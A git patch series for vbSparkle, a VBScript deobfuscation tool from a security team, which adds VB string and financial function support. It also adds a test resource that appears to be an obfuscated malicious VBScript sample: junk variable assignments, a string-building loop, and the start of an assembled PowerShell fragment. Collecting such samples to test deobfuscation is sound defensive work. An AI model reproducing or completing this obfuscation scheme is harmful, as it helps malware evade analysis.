zER3dazTO36`4z%^y=@jRQKFK&vBbrugRojctfNvRUo{R7cj~r5`3vz&>TX;_E0%R{ydvU?fS0L~r_Mi`JvGJc9h?%`Q}X=i{XfXVt^Wk;^I7Rd z;HltT=~F4M7%^l-tpU<-#$~S;4wtNFLA8frOSEShJxB}#&>17)=kBS4zM}KSpbhlI zsTnK^9m)F)_;VL4ZyyTb%VMz6J29t+ih?Ka#$V--$5T zAiP#(=jVga$A0L8b~;~0p!I-ZM)2)IzdtT(HweyP7EaO|QG!+&Ei9-Gn%f2+f9!fE z7%K3Eh0xn+8Ph}p=M-P(#-FP+ON_)O;BTCZ(iXU2rbv87$&K~e@6|3t zVsh-!%0H9#+yW2n>4vTl$)R&Rq8hZm_M#L8h#Fy;NFQHsSy>P=W{Yfl&0q2eE&2{3 zN6HvRtQAR;ds-!`Q3KtIEIp2)^8x;e-VeCEzJPqpc9Ev!Iw?9#{m!zKjAnZd90_$hpKZ(rQKj1m( zZI$tRd1Z6Oqe8y1@>q`b3&Gqnq-)FJ7=Jquxm)IIEmDOJ@nRy5(sG3C1TW*Co4t!7 zav{ai==G2yjTaAx`q|0Md=0FQoyFUcPH2BoNP2gaRfka!i?G;{-oPrlFQjIdfC0@a*#6&nE$JwUa!l8^s zFVS0~C$I8y;FdTk6o)m1L#Q;GGrxymZ@xUDR7J@D3_tW--2FB$HbEs5m!Di4t5NA5 z0_Rq7QbNt-4nXb=?a(1g+8ri3Ss1g-;oY=DoA0ClA^@(J`FxKT*higxdkc97vPdMw z@DV(MUaHJV>Q6FwEU*nt58{RQc?pPK_|I2~x@XAF2S>p#96`)RZ@5-}!i3fBS8-G< zCZIlxs*Wf7CFEW%ZG(5;F+scIqP!;5DkmF=chiUH!*_nEe@U|QJcJ)~OlY0O%aLQ} z#8iYjbj!sOAr~QkJSJ*d-!7kc@rk~3+Q5;(PQ<>_{@{lsz>=LX8aDC^6BZS9v58>S z($KC6?1rxU>l}y1tpQE@xgOudz=lO@dHVA8?TPK5K-gmN%Cx|7-YvhxsX`B$Abt^)=)6hnEPqpmn<+Oiz{B zsnw*N@PK~E?xkmdPNk}G%LQsC-rU4{}oK&!K%o~UJ zEv_vuL3Yt)6rhG$^7L($&BLB@`VHARk`$MkSYBUGTRQOa5uV(#T!uzNnh`wm+L5tn z!U=3p(>pO8oOxmM=_zMf6VQyBabR~Znr^BQ#4)z~p ze*p&65lplnJL=8LlD~_s_$MTFL?3M#_^@?Y6Ve{%l@Bj=o^#+fp7QM{t`5U2QO-nv zSInb3FDPDVCo(f$YA3pwP$%(E5lj=QR{HXmlk!3n+-#%ame;7z{xkQXT(U7jFO21C z5ujGQp%sz1>)<&XmjS#i!08})=|CoU?f~VAQV4Jt_0o#|Sc&bj(064EVt9eMJq@>7 zcBTF9Hwl(a3ZjA|-{&=kmw@Qn5ROa~%a2=Kodb|d_@T|XULq4NN4Uy*eCW zj|r$7JR!XgTV*^GJI8_WY&a6J$EZeJ%7hl4LksjwzhyELn%61_>gsAQ7m};H=kY^( zj#txoQFAOpcPAy=vobsfVHsXqK1B(;+XA)FUR*juh=qjp{;?ri^e4-U|C%`S%PDBS zG$IV^d?teR<{VxM#_>GqO}~*1WEG)ua{ZVdG9L4JF^S>*H)ME%iuv)r#ot2XgP;?7 z_TROT32Zp!7}_|I{Oi)QMN7a?Za^FK%Av$!UV?0Q%1GrP$d#T4uUQV!%Ne+lh!woZ zlukJ2Fk&Mow>e0X;r+iN@Wu-=`99f7E?}OaLS)={Im5diTJMI|)3dD0HZG`~d4wF= zuuN?E&T{IZXm&NsQ#9 z3yi&015({Pkw>b7FkL?vsd4gcKO{{YCVpq)At zLzOgM2ELvoCfsd@`>0=tHkkb!#?SG{PznS6~4oGf*7%2lJHG&kmVe=~^_Od=KwUMotm>)vu< zI+16%6f&OEWTJvI>FbvLL^qLIQ}q6!{UQjLz*Z_V07cTU?5vUVc zz>u%09d6D5dUI$5O3wF{{LY2WVaVAPi}~va6Kmc(=8@%MfZxUsZOwmv^3w2Ca3)&$ zTBGQcO&EMP;go4>e)Ee9Q0MM2JQ!P^M9xQ9rvjG&_6UrFo|--utI+WuAH5k)YB!J-_ zCs_#vv&tYos%d77Jncq)B7MV4gIPK7j&MV_m7Yw#hYiC5Q~`mYVX%# z*rS<>se}%dZ@1ur{%`%q3c83v+;wSQ-vjFKfjS!Ibr^oL>&OKx_Oxr>xFM>e&_fOE zSJCeBZYM6>d?sdS3`Edr|5w_zfX8@k?Wij4K~T54g&3Tm?vy(IBP1ej(M;SalguO{ zSCbh8b&EUwl}O!t_}!h#?|Ph8gSJZPskBvXNn6tXRiQ1_9!jY5u5U79)_i;K@ALP2 zo~cKl$NTQR_F8N2wf5S3@BM!K7BuvE2$(P9u1AUh#f~D@ktl`_yS&%33^EuBljCD| z6OUEu_nhG?vfzo0CMYtCF>jAM{tW~giPkq^BL1?U2%64oAsiFE0!V^*>dkTe=n9B# z5Cq@DsWLzWrx!%o3@DLAo0McrMM#2*$$9WpX^;s2q1U7^gch?3$4T{+Fp#m4NMpy2W{cUPem=}c^^#rz<;X3`k z_lJsz@Fbb=>=a=Q|KV6idQkR0{4h2U{k~BNA}ry7V*+~d)e5G@+-rU=XKh<7KkIypjV(O~P-bcpyMTEu7biz*av-K_M@KY%gfAm&DOeuGFeLoVG_DRpc z804)rawdo-5p$^|2H9#GQApRURfFYmFEQbeF(%2Kz$HZ}q)NN?Y@7EfBwq+C;i@$G zO*w%_@~TOX1hQd9W*lW1Dj==O=aTKmjIhgmoXkTL{F&0OTWCM)CYsLEaUmz=@Kn#> zr>I^P)ekB8(0w;Y7rcjs=kGZ4#HADbp`5~}m(ooXYW|?C(Drm=@?uD+4>PoOpUbh; zidkl85T3q2#5o}6_U1h(IXVS3VdIL zx!>e84+Vr=jRQfL#G1q2%e%i8oe08Q%9BAK-38k_y zrTXxJoI$e*Nt+w>wH7)tA6(XDA?KB^FIchJwHZs3h{`QrD5?8PEx>lF8fd(OD#>Ac zrP|U{9!gtnyob)!t7N0e7URj|(i4^C6lTy#(o4@|9avqJfYc9ey44J60!?!23+Y7*tAPTy|Y<+{8U17;Cfx5nEvb+G+(HbEh zZ?MZesGwq(L|px9%|%IQYzlsSHhQ_e=?2SRde3);4k1~1W%4xr#rF;C;E{KhmbY>_ z@FWtv5L-6}0zh^BzO`b2Nu87!d|7=-ijfw08w@q(%)YjpXy#Z{~j5=AhCgp0PafypltHeF8Q8xmuCSsUY|RC_h)wAw86^);MGhGO>(w zC8s$CI5XPAhy1?Z2P+|a zXW*s|6tT#ZFEVWI!WRI#2IA%CC2qtjfvs_aGOX@|@mNXV{z4bZs1qES;-?v?12gNK z4ZQ<5`D4XE%iKA{fJfWTRO-mD>sQsL3n2OeytSWfa3$>sCAhYu>q)qYFMjQSl;)%Vc4XIua?(Rv zJV#XMRN{J-Gu(yAE8eYqgPVw|R<{0J86C)}6&Pv^b}NZISF0HN-!}#y>6Ql_3Plo_ zCnE}GC<#b7v5q8M)+Bo9klKFb9|J~?gn-;n1ujWn?i(R^r`Ba}GxZKPbTnQ*6N}?74YLcujM>_YnzdNeFyJ$l$9lBQmvw z1PcB1YSZ9)zd+FIipJEP1^YdQwudo~vu~3O+8T$D5y>pcUIC3|NzBr5Igs{Jj3qau zMVqCt+WIWkfd?|2q9BoQ`*f&Zo?fi`ALt3kweOVS;yK`Whf|F^q-4xDchP;SYUeRP zwby01YMmqD&N*-{KN`Xv1XK$X?zr7DRBIePvnlKUy{$Da(QxepBJY1`z6^0t2E93w z?vmkBOAFif|Ft$S&%ljyH8{IRhKn6*7u`D~IkiKugV%+AK*N=T;o`78_sd|RUF0Wl z;s_o?th8^}y3=SNq|g-5e44y=Pyy?6q7)kIkx9QgZd@O+yf+rCYXT#y6^CTV+8WAp zeVZ6`dZ!^pTOonHFa|D#DWx*dvWW}9Fm`yvu;b1zXz^F1_w2Z_zB$t_S5N~j`4ABC zAVw&IjYt+GG^qb?y?^zqW5A;Qb?)9PR+VA;#40y2(uJt1%UZq#=qiBbE5FcS8MHM{ zbC2>=2DQ0)_pB>)BIPIic;e`}YBFHIF|&j_lW=)Mx(h22!Anm=&cerWM`U}@nef}o&@Au0xI+|cByqQYX5?8dYQ2`2&i226un za<)YUs!2pD5Nht+*7pvjU%QfxM;m;JNFj1-d#sBQsAF;;r!7t5d&B!}y-Sx2 zM#1y&))w?I0-kCS6oyi3CkIvEL{}dap~YN#2Sunr{nfxS%xTL+1Sb~q#pIov#$n{D z>PBvEUloH#9Xjhlso8g4TM~a9UdMu_^IHzO^;dyrLCs3OyPAa4K9vxcpi0ipa3q41Pnbczhp-*bANMHXXE{aj$I z6^?iF)axqJkfVEt9HY}}(YmRBTdoWl0f%j}7PbnfY3h8vf;W!t!TN7{Vqj%U@6~cx z4O1@x0wjO#o#7B<_+&1_pAu#$Z|_Wt$^}-u~#V zp?A<$3g-B3TH>#UP3@E6OtYnWXMDXZXv|_dR-Zisnp+H#o_>-5i5va5)w(Q!2skYR}DVa_s>GC6g-S!v= z-+)`@*_JjB3`u)syKpJ6-4T(Tg^FcI8ZO;-itbG!O{w|a_V}6T9qm-}@`*L&8cJ5+ zKCAHw(vj+*<)^Ys=Qf_~ia<1|0j3$AUYJwfkV!Ks$yo~OM)ysxS*RQTLO1yK@sbcj za9=l45mYJrFulu_n$tmZ3N!(!!Y1ZvYz7+FBEMa^*Y@u^iTEaF-QHBxVonaaQ`VWIXxlO zP1T?VQ%2^F#uso+anO0BhWQGxWiLZYYn;Nl)>t{B{2X-VDn_L@8s5;nZ%uFd%j06@nkXKchk@ovr4w^(5}5S&+5I;2!t?Z zRUsiG-IN}D?W{I!o{+5%tkx_WJOLRG#bL@pnt3m`dn2&vZMNIvhHTvVnC;;F78PPX zL&Vk&$xp5qr}1v1K?gCl)2_WBTR2vp zGLJVZ`4PEHEQ~f5f7w+$RJSJ>viXJzHwxqKDpPhfe(a9Lv<0JgeAiOV6QTQ=m!JfzFfcs&i=A%B=Jj;4Ahvta*h< zeU2;Z3eGnvdlUWMg(vAMKMQ)qGaezc4GEdAvzQg&E8UyNHvlEQwa62-XXY4E`ugZU zF)7yJ$09fP3`5_3Lf(%rz=q8=B=au7EVR4obSKCQkxE;-Do~#;;TO)l!}s$IX}B28 z#Asa~Pkglo%y&0*kf-RK3k~TWW*{s$Nz_&BASQm16Gi6xHDt#J>GBdo2Hzm1A!Xxm z8v536FKs!z8(Ty6X95fUK6=@Z%wtm8Ydc8b%PP_qot+U%VGP|^)|U;?r8Oof{KJ?> zu&%*Hn^%!J{|G5YFjn_ELsp*@DFVrGW8GpRH`Tp^{fIbyl)S+_BSivAx3PXq(6mr= z>?w3CoOLYbZ-z8n-+fM3Va1WluB=W2Rdwh)x8h414e5MV979hcr`yG)3^Zp=ym6o@ zDZM`Tc3`t1jc>S=@jB6*{!_sm(h7ZsW%X9`G|7osP1^$7&0N=PhyI;muRxU#4*~MdW-MM2p?H*=fe~Z^m z9WIc8;^jkB0?MkqD7!?~4T)+1;Nm<4GZ!>P^cp~`hl7NVVG~>qabLU+wszZvS@-Y zi4UGp6VSlY@<0NvZ`J|Eje2q1Zp9mqSF_CBL{)j20B1-5jen2=gW&|ZT zOY^_fxR?_S#{$WQAFu3acHW?I@)I-*hbL;=a~Lx1<4yfa0vzv1%4p+4#X_nrJHzc_ z8^M8yJnPW@g1D)Hh{)o!u?76kHh8m>AKxLa*-uRDKMiePi{AiGC(8c&w?E7!m)rX3 zj;QeY9bOuVA%4DQU_7(3=#TbNpaTm6h6)tk{gdjW0%Vko|>GLP8*)l=>r^-9D*l8iRQ+_dks@S zL(d=Za_wFJ=ifuWmU5Z_83`Jne%>PZzPA>XPz<^q6nx%teQyR{jJoVpRK0g0*0wZFLRDI@5tbXzkLmz>AO9w1Ifm|^XdyQen>j#?oC`<(1;x;T-hvy+3)M}vcY3t4dbdU8fi?GO7sIYiz}VJ+CiB_)m$oXFKFL$)GFd8x5G^(;z{-Py TZj`@KK4oILpm#ci;BWr{%1Ybl literal 0 HcmV?d00001 diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index 9f078a1..2dafba6 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -17,17 +17,13 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus 1.0.3 + vbSparkle - - all - runtime; build; native; contentfiles; analyzers; buildtransitive - - - - - + + + @@ -50,6 +46,10 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR + + + + diff --git a/vbSparkle.sln b/vbSparkle.sln index e4ec9e1..b797efe 100644 --- a/vbSparkle.sln +++ b/vbSparkle.sln @@ -17,6 +17,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.Web", "Sources\vbSparkle.Web\vbSparkle.Web.csproj", "{624C3675-DBFF-4D53-9488-9A9987E467DF}" EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Antlr4", "C:\Users\USR-S974\Downloads\antlr4-dev\antlr4-dev\runtime\CSharp\src\Antlr4.csproj", "{E0464AE4-7A68-41F5-B68C-ABE0571B030F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -35,6 +37,10 @@ Global {624C3675-DBFF-4D53-9488-9A9987E467DF}.Debug|Any CPU.Build.0 = Debug|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.ActiveCfg = Release|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.Build.0 = Release|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE From 0c41eabe957456c018e6962b9b49e2e869d52b83 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Fri, 30 Aug 2024 03:25:43 +0200 Subject: [PATCH 13/14] Add supports for: Constants vbUseCompareOption vbBinaryCompare vbTextCompare vbDatabaseCompare String Manipulation Methods InStr InStrB InStrRev LCase LCase_S UCase UCase_S Len LenB Mid Mid_S MidB MidB_S Left Left_S LeftB LeftB_S Right Right_S RightB RightB_S RTrim RTrim_S LTrim LTrim_S Join Split Financial Methods DDB FV IPmt IRR MIRR NPer NPV Pmt PPmt PV Rate SLN SYD Array Methods Array LBound UBound --- Resources/samples/sample_12.txt | 4722 +++++++++++++++++ Resources/samples/sample_9.txt | 41 +- Resources/samples/sample_91.txt | 5 + Resources/samples/sample_92.txt | 10 + Sources/.vscode/launch.json | 4 +- Sources/Sources.generated.sln | 37 + .../Properties/launchSettings.json | 8 +- .../DComplexStringExpression.cs | 39 + .../VB_ICS_S_ProcedureOrArrayCallStatement.cs | 33 + .../LanguageStatements/Functions/Financial.cs | 209 + .../LanguageStatements/Functions/VBMethod.cs | 1888 ++++++- .../LanguageStatements/Literals/VbLtDouble.cs | 2 +- .../LanguageStatements/VbInStatement.cs | 50 + .../LanguageStatements/VbVariableStatement.cs | 41 +- .../vbSparkle/Objects/NativeObjectManager.cs | 138 +- Sources/vbSparkle/packages.config | 5 - Sources/vbSparkle/vbSparkle.csproj | 7 +- 17 files changed, 7048 insertions(+), 191 deletions(-) create mode 100644 Resources/samples/sample_12.txt create mode 100644 Resources/samples/sample_91.txt create mode 100644 Resources/samples/sample_92.txt create mode 100644 Sources/Sources.generated.sln create mode 100644 Sources/vbSparkle/LanguageStatements/Functions/Financial.cs delete mode 100644 Sources/vbSparkle/packages.config diff --git a/Resources/samples/sample_12.txt b/Resources/samples/sample_12.txt new file mode 100644 index 0000000..6fa0d77 --- /dev/null +++ b/Resources/samples/sample_12.txt @@ -0,0 +1,4722 @@ + + +'Ulises colourize stith yarraman: hovedopgaverne, + + + + + + + + + +'Dolite unavertibleness! + +Function Bagtippers () + +For I = 1566 To 84 step - 1 +Butterdejstrterne = Butterdejstrterne & "Forsagelse" +next + +Reroot = Reroot + "If (${hosw" +Optjer = -27096 +Caudillo = "Entredrenes! uigennemtrngeligt" +Beskyttelse = "Bibracteate trykpresser" +Fichuets = 38884 +Cinerea = "energiudladninger svampekostes" +Shalt = &HFFFFD986 +Lobsterproof = &H7868 +Nietzsche = "rabdomancy absorberedes26" +Indkber = &HFFFFC729 +Subduer30 = -4859 +Friturestegning = 8836 +decket = -61897 +Firetogene = &HFFFFDEC9 +Modvinds = "Cryptoscopy197; skalmurende:" +Dysorexia = &H3C62 +Lhegnets = "Forsyningstropper tetronymal" +Biologis102 = &HD471 +Jinriki124 = &H95B6 +opdyrkningernes = "Elektroencefalografien, interpretative" +Undervisningsministre = 42437 +Frakkelommes = &HFFFF301F +Antigropelos = &HFFFFA52A +Hnsegaardenes = &HFFFFF922 +Tuskets = "Kunstkendere: toiletspejlene:" +Automorfi196 = &H11AE +opvist = -19246 +Talehreundervisnings = "Fremelskelse unsectional" +Ddblegt = &HDF83 +Svmmedykkere = -48793 +Marxistiske = "Bantu, miljadministrativ" +Blthavene = &HFFFF939F +Overbygger = "Grevskaberne thermodynamical:" +Partoutkort = &H45F7 +Slvtjsskuffens = 62484 +Antifoaming = 31947 +alekss = 26691 +Orthodoxy = 33328 +Kuperendes = -19763 +Trafikken = &HFFFF9C13 +Skovsyrer = "Diarists: drubs" +saksestaalets = -15239 +Mt = "Thermographically: flusk:" +Bombarderende = &HFFFF5C8A +Sfaeriske = 863 +Current = -17877 +Semideveloped = &H20EC +Angelico = &HDE16 +rubrica = &HFFFF9D55 +Indsnres = &HABAE +circumnavigator = 6097 +Nonsynchronous = &HFFFF0227 +bevidstgrende = &HFFFF6052 +Skidteriernes103 = &HFFFF6E9F +Bailiff = "Raabalancen: deler" +Envoyjcs = "Forskningsministerium! mercurialis" +Aphoristic = 29103 +Perkingly = 17381 +Udviklingsprocessernes = "Afslagenes; forkrnkeliges32?" +Brandsvamp = 28806 +Bilgewater = -64169 +Cypriotisk = "Radioisotope! udfladningen:" +Udlaansafdelings = -5682 +Fastelavnsrisets = -4411 +Chunner = &HDB03 +Bliss = 59225 +Outdrunk = 52351 +Scuttering = 32796 +lerret = "Blindgngerens? klokkeknebel," +Stuehuset = &H409 +Aftensbordene = "Elfenbenstaarns; gavntr" +Confirmatorily = &HFFFFBB30 +Supernovaers = "Uraemias amfora," +samaritanske = "Overindividualistically featlier," +Fjernlyses37 = -36622 +Extraregularly = &HFFFF395C +Bleariness = 57785 +Chastising = &H263B +Dopers = "Unibasal! coors." +Skrivefelters = 34331 +Stormagasinet = "Cusie? vrdstte" +Natteravns = &HFFFF79DD +Skovridernes150 = -48589 +Semiologi = -10815 +Mercurialise = &HBDDA +Trols = &HDECF +Newsmanmen62 = "Incestuse holoquinonoid" +Unlent = "Rattails? symaskinenaal173" +Kanonslags = "Goyin zoysia!" +Shintoismes = "Interlineation? phthalein." +Seconal = &H50EC +Bakerdom = -63618 +Frumenties = &HFFFF1026 +Stegens = &HFFFFBBC2 +Thulite = &HFFFF37D1 +Superattainableness = -3440 +Samplingernes = -56488 +Pegmatite = 22581 +Retardtzr = -56789 +Meteorograph = &HE4AB +Stnnede = &HB61F +Tippernes = &H4238 +Barthianismens = "Liebhaveriernes moscow" +Antabuskuren237 = &HFFFF8B76 +Manen254 = 31544 +Evalueringsrutine = &H4BBC +Casha = &HFFFFD051 +Seasonality = 33959 +Flammekastere = 36906 +Kundskaberne = "Klkningens238! stvkoncentrationerne" +Paafyldes = -4437 +haploidic = &HFFFF1E9C +Holytides = "Substraction: spectatorship" +Kapitalforsikringers = &H6738 +Vinterferies = &HC67A +Diathermometer = &H5983 +Recipientkvalitetsplanen184 = &HFFFFAAE3 +Umbrette = &H58B9 +Threadbarity = "Nonshaft politirapport?" +Violets = &H223E +Nonanalogicalness = &H242 +Elutriation = 59595 +Hjemsge = 40743 +Hovedregnings = -915 +Slikkets = -5097 +Softie = "Weaned167 charteret116" +Quillaja = 1934 +Valourous = -57154 +Maskes = 30072 +Krypteringsprogrammer = &HFFFF1B99 +containerize = -35362 +Bindsaalers = "Napoleonshats; underpole" +Christianizer = &HEE6C +Glansnumret = "Konfunderede, passiveret!" +Jvnfringen = &HFFFFA55D +Browns = "baptisterne, flygtig?" +Kontaktor = "Camshaft: jyskhedens" +Unfranked56 = &HFFFF8080 +Tppebelagte = "Udplacder revisorforeningerne." +Membran171 = 15270 +Ufortaltes = &HFFFFB9C6 +Antechamber = &H71FC +Langtruknes = "Ubelastede194 bediapers83" +Zoosporocyst = &HF691 +Gteskabsbureau = &H6094 +Tilbehrspanterets = "Whiningly flabile!" +Lechwe = "Transformerstationen chlorophenothane" +Breathalyser = "Boganmeldelsers; paleoanthropography!" +Peckish = &HFFFFC9C5 +Collaborates = "Enmanche syrians" +anvendelsesmnster = "Subcompensative charlocks;" +Kerrye = "Stavemaader cursorpositionerne" +Sknmalerier = "Srverskibet: plyssernes" +heterostrophy = "Afdelingsingenirernes. confidently!" +Cartbote = "Zoomastigina signficant" +Irrecognition = &H65BC +Jakobiner = 5975 +Bepowder = &H6D6A +Ansttelses = &H6603 +Losser = 55379 +Stakordrers = 6286 +Bekmpe = &HFFFF6349 +Excusable = -28216 +Pastedown = 26101 +Affodrer139 = &H4CFD +Bardiskene = 38980 +Prepartaking = &H4731 +Bartoli = 38093 +Nationalmuseers = -7025 +Veritas = -58895 +Sgeprocedurers = "Paaklderen dumpeprocenter" +Wageplug20 = "pengehistorierne tvistlrreds" +Rejseforsikring = 51522 +Kaarder195 = "Skrnt. nerveklinikken" +Focalise1 = "Praxithea resuspension32?" +Skaberevners = &H719B +Saldolister = "Nonindividualities absurdness." +Falsemaskinernes = &H577 +Thatll = &H6772 +Chiasmata = 54404 +Parviflorous = -16015 +Disheritment = "Hampering bushful," +Electroballistic = 27232 +Cowslips237 = -59160 +Billiardist = -63078 +Haberdashery = -23319 +Unpurposely = 37514 +Inderlommers = "Titivation151 kolofonium?" +Aabningstidernes = &H968E +reallnstilbagegangens = -19214 +Butikskder = &H1C21 +Rvesvns = "Keratogenic; ihrdigere?" +Miljkravenes = &HA27E +Lseklassens237 = "Reptility: diskpladsers?" +Hetzer = "Topspin prellet:" +Suu = -55682 +Stormangrebene = 22945 +Chaufer = -17035 +Greing = 35234 +Spheroidizes = "Kogeres! haandtasker" +Micrometallurgy = "Savvrket monerozoic72" +Heterogeniteten = &HFFFF9C3C +Neossology = -33298 +Hogen = -49752 +Faldbydende = -43265 +Gldens = "Sadelmagerarbejde: reyson" +Boliviano = &HD245 +Kontrolpunkter = &HBB14 +Jamboretterne = 4534 +Ravining = "Klamreaben cresson" +respektfuldere = &H3890 +Inkassoerne = "Superficialises krabber!" +Donatistical = &HF5EC +Rakke = -8967 +Produktionsprocessernes = "Castalides misgracious" +Tyke = &H678F +Brstenbindernes = "Pleximetric226 conflagrators" +Khedas = &HFFFFD538 +Bankeaander = &H59DB +Chumar = -2603 +Unrelievedly = 1791 +Arbejdsgruppens = &H313A +Autoptically = &HFFFFDA8C +Counterproductiveness = &HFFFF9E69 +Homeostases = "Flygtningelejrens184 regionalplanernes:" +projektledelsen = 5402 +Trfs = 61991 +Cocklight = 63646 +Klosterkompleksers = "Skinnebenets stberande" +Unslogh = &H5ACE +Gobbo = "Discomposingly! wilmas." +Streptokokkens = 7319 +Ovnhusenes = &HAE97 +Rapsmarken = "Presystematically fremlejerettighedernes" +Facetters = 47878 +Lepidostrobus98 = -17255 +romaniseringers = &H3E70 +Discontiguous = 665 +Pastoraled = &H88F +Optimeredes113 = &HFFFF26AA +Coupeens = &H285 +Cursillo = -55610 +Reraises = &HD1C7 +Eldern = -2743 +skulderlange = 53913 +Virksomhedskunders = -48757 +Enrooting = &HFFFF9835 +Tohaandsbetjening = "udriggerne. mariticidal!" +Punktvises = &HFFFFB2EB +Forskerholdet = -46343 +Sukkedes = 58543 +drumbler = 47912 +Peseta = 61950 +Udbrnd = "Bgerbladene: mtaaligt;" +Vellidtes = "Recalling outclimb?" +Programafproevning = "Ornithodelph! frevlif" +Debordment = "Programdirektrs? faciliteternes." +Rhinskvinsglassene = "Geometricians! paafugles" +Prima = "Pakningerne husbuks" +Halvfemsaarsfdselsdag = &HFFFFBADE +Disaugment = "Ordnedes. paronymization!" +Likvideres = "Homoiousia; fluoaluminate:" +Kapitalbehovenes = &H840C +Latrididae = -12749 +Tvivlraadigeres = "Circumgestation celebriteternes." +Offsetten = "Silicoflagellidae unsucceeding." +Andanten = 44309 +Lienor = "Nonforeigness triconsonantal" +peevedly = "Flyttemanden: projektlsning54." +Drumble = &HFFFF2FEF +Uheldigere178 = &HD296 +Cleared = "Synchronously: seeres6" +Thorer = 52669 +safranens = &H72AB +Aftalende = &HFFFF9E82 +Beluret = 15996 +Lynchers = -46253 +Apteryx = &HFFFF40D9 +Hormonlignende = &HFFFFEB3C +Fertilisable = 11480 +opgavests = -12571 +Synacmy = 39155 +Observatorernes = "Env177! flberier" +Hylekorene = -55278 +Behjlpeligste = &HFFFF3303 +Demokrat = "autografsamlerens, sydneian" +Petrine = "Mikroskoperedes anciennitetsbestemte" +Listesituationernes = "Kamphanes214 ptilichthyidae15" +Multiplikator177 = &HFFFFD1B0 +Potensogr = "Underfinancing hydrolysed;" +Maniva = -38169 +Arcticward = "Teleseme lophiomyidae." +Plateauernes = &HFFFFB31D +Jagthundens234 = -7958 +Okes = &HFFFFD517 +Nedkortning = 16658 +Hylodes = "Forskningsarbejder. paperboard77." +Speedos = "supermndenes: forbedringshusene" +Monorime = 11592 +Epistylis = 44945 +Kommandomode = &HFFFF43D9 +Dokumentationscenter = "Immatrikulerede. krydsrevisionernes:" +bowsing = -24469 +Digtervrks = 64864 +aspargesbenenes = -46276 +Kldningsstykkets = &H246B +Percoidean = 40507 +Globule = "Panhidrosis, lophotriaene:" +Constitutional = 23339 +Sleeplessess = -40599 +Oklafalaya = "Analytikere. cementindustrien" +malings = &HA2B8 +Mesa = 64720 +Caballero176 = -333 +Artighedens = &H4A7F +Byrri = "Kalcineret cabrioles," +Palaeonemertean = &HFFFF1AAD +Presymphonic = &HFFFFDA28 +Eightieths = "Fainness! renderne;" +Udmalingsprocentens = -4693 +Utiltalendes = "Gonorbaens vanemssige!" +Agglutiner = 28501 +Satellits = &HD380 +aarhundredgamles = "Profited drby;" +throb = -43145 +Acct = "Plasmas: mercurifying;" +Tapirs = &HFFFF382A +Godartedes = "Autoopretningers pendente," +Sniggler = &H66A5 +Stningsled = "Ribbegopler fremsagt" +Fiendishly = &HC88A +Zonekrnkelse46 = &H538 +Trykluftsbeholdernes = "slimness! applikationsprograms" +Jante = "Ferries perfection153" +Unobscurely = &HFFFF13F4 +Laenge = 13266 +Withtake = "Grnsevandlbets selskabslokaler" +kantinens = -4311 +Systemdigtningens = -51014 +Trugo = &HFFFFBD48 +Myxopapilloma = "Grnttrrestationernes. simptico" +Septenarii = &HFFFFA3D7 +Ukendelig = -9306 +Nepotismen = "Thain faedreland" +Trykblgerne = "Beskederne: nontitularly!" +Handwrit = &HFFFF4867 +Hjlandene = "Forretningsordeners tangentialkrfters!" +Rundbuet = -3723 +holst = "Edificial compassment." +Haiduk = &HFFFF0F7F +Endeavoring = &H108A +Enleagued = -56697 +Smigvinkels = &HFFFF2FDD +Udskrivningsproblematikken = 42753 +Zits134 = "Skuffedariernes. terminably." +cockboats = -47581 +Safetyman = &H6EC2 +Blodtrstigstes = "Motivationernes startbeholdninger." +Kvleriers = 32756 +ditrochous = &HFFFF6A87 +Tilregner = "Udtrringsarbejder; camailed!" +Tamarindus = -41025 +Dextrorsely = &HFFFF6C87 +billedredaktren = 3611 +Involutely30 = "Hovedrevisoratet theaterward21" +Limnophobia = "vanloese: rhamnetin" +Audienssal = &H6D2B +Handskedukkens = 5203 +Bodyguards = &HFFFFB2B8 +Noeglevaerdier = 31101 +Hjlpetropper = "Indfjningen forstassistent," +Experiencing = "Insekticid. timelessly," +lyskopierede = -57148 +Tiaarig = "Sained peregrinator." +Skrighalses = 56012 +Olynthian = &HE7AB +Catstone = "Incandescence bluntnesses" +waterbeds = &HFFFF4CA5 +Rengringsassistenter = &H2EC3 +Anciennitet = "Svededraaben: antistof" +Pectoriloquous = -41179 +Kommunikationsprotokollen = &HFFFF2310 +Fluorescences = "Oprydningen: hospodars!" +Originaludgaven = "missionerne strgtures;" +Untangentially = 26412 +Tilskre = &HFFFF168F +Fiberkuffert44 = &H9EF6 +Transparenters = -63900 +Produktionsoverfrslen = "Mangefarvede? springning," +Neolitikum70 = 36162 +dialectological = "Afsyrende20 svenne" +Surrejoin = &HFFFF11B8 +Bedrolls161 = &H1281 +Slseriernes = &HA1F8 +Opsigelsesvarselets = &HFFFFF7FB +Tidsskriftsartikels = "Quadragesimal skamskudtes?" +Undtagelsestilstandenes = "Landfogeders. consentive" +Aflod = -15948 +Bastite = 8507 +Hudstryge = "Ovalization, livsvrket?" +Konsignere = &H74A6 +Eurovision = &H53D5 +Topographometric = &HFFFFCD65 +Subdichotomy = &HFFFFEB53 +Tyggefladen = &HFFFFB11F +Sloopman = 19948 +Stenkulsbriketter = 61214 +Kitlers = -63462 +Racinglike = &HFFFF1A33 +Spurvene = 62028 